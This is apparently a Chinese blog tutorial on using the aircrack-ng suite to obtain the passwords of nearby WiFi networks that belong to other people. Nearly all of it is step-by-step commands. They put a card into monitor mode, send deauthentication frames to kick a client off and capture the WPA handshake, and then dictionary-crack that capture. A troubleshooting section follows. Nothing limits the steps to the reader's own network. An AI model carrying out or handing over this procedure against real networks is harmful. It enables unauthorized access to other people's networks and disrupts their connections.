利用aircrack-ng工具获取附近wifi的密码

提示:下面的所有命令都以root用户执行

一、关闭网络和结束可能会影响结果的进程

1、关闭网络

[plain] view plain copy

  1. service network-manager stop

2、结束可能会影响结果的进程

[plain] view plain copy

  1. airmon-ng check kill

二、开启无线网卡到监听模式

1、查看网卡列表

[plain] view plain copy

  1. iwconfig

说明:以wlan0和wlan1是无线网卡,我的电脑上有两张无线网卡

2、启动网卡到监听模式(这里使用wlan0)

[plain] view plain copy

  1. airmon-ng start wlan0

说明:如上图表示启动成功,启动后会给出一个新的名称接口名,上图中的是mon0

三、监听周围的无线网络连接并获取握手信息

1、监听周围所有无线网络信息

[plain] view plain copy

  1. airodump-ng mon0

在这条命令中mon0是上一步中我们得到的接口名

说明:图下半部分,列BSSID下要有非(not associated)行才行,上图中最后一行就是:

[plain] view plain copy

  1. C0:XX:XX:XX:XX:00    14:XX:XX:XX:XX:B4    -87         0 – 1        3        2

这时,记下C0:XX:XX:XX:XX:00,并在图的上半部分中找对应C0:XX:XX:XX:XX:00行,记下CH列下的值为1。然后关闭此窗口。

2、监听感兴趣的无线网络

根据上一步的结果执行如下命令:

[plain] view plain copy

  1. airodump-ng –bssid C0:XX:XX:XX:XX -c 1 -w tmp mon0

在这条命令中–bssid后使用我们在第1步中找到的BSSID值,即:C0:XX:XX:XX:XX:00。而-c后接的是我上一步在CH列下找到的值1。而-w后接的是我们保存网络数据的文件名,这里是用tmp。在命令的最后接的是之前得到的mon0

运行命令后会得到上图的结果,并确保上图的下半部分BSSID下有至少一行的数据

3、得到握手包

保持上一步中的窗口不关,新开一个窗口,执行如下命令:

[plain] view plain copy

  1. aireplay-ng -0 2 -a C0:XX:XX:XX:XX:00 -c 14:XX:XX:XX:XX:B4 mon0

在这条命令中参数-a后接的是上图中下半部分BSSID列下第一行的的值C0:XX:XX:XX:XX:00。参数-c后接的是上图中下半部分STATION列下第一行的的值14:XX:XX:XX:XX:B4。mon是之前步骤得到的值。执行后:

观察我们步骤2中未关闭的窗口中是否出现了下图中红款中的内容。如果没有出现那就再等几分钟再次执行本步骤中的命令,直到出现。如果执行了超过30次或者时间超过30分钟依然没有出现,建议换一个感兴趣的网络。

出现了上图中红框中的内容,就表示我们已经获取到了握手信息(包含有该网络密码的数据)。那么我们就可以结束监听网络了。

四、停止监听

1、关闭监听接口

[plain] view plain copy

  1. airmon-ng stop mon0

2、启动网络

[plain] view plain copy

  1. service network-manager start

五、获取密码

此时在执行第3.2步骤中命令的目录下会有一个tmp-01.cap文件。有了这个文件我们就可以破解密码了,除了这个文件外,我们还需要一个字典文件。可以从这里下载,下载后解压出密码文件,假设其名字及路径为:/tmp/passwd.txt。执行下面的命令。如果密码字典中有这个wifi的密码,我们就可以破解出密码:

[plain] view plain copy

  1. aircrack-ng tmp-01.cap -w /tmp/passwd.txt

破解成功后会出现下图:

KEY FOUND!后中括号中间就是wifi密码了

六、可能出现的问题

1、收到on channel -1的错误

第3.3步执行

[plain] view plain copy

  1. aireplay-ng -0 2 -a C0:XX:XX:XX:XX:00 -c 14:XX:XX:XX:XX:B4 mon0

提示错误:

[plain] view plain copy

  1. 11:41:04  Waiting for beacon frame (BSSID:  XX:XX:XX:XX:XX:XX) on channel -1
  2. 11:41:04  Couldn’t determine current channel for mon0, you should either force the operation with –ignore-negative-one or apply a kernel patch
  3. Please specify an ESSID (-e).

解决办法:

(1)确保第3.1步中的窗口被关闭了的

(2)确保执行的3.2步中的命令,且名称中有参数-c且参数-c后的数值是正确的(参数-c 1是为了把mon0的频道锁定在频道1)

(3)如果依然不能解决,那可能就是驱动问题了,就像我的电脑,在kali3.14上能正常,但在3.20上一直有问题

发表评论

电子邮件地址不会被公开。 必填项已用*标注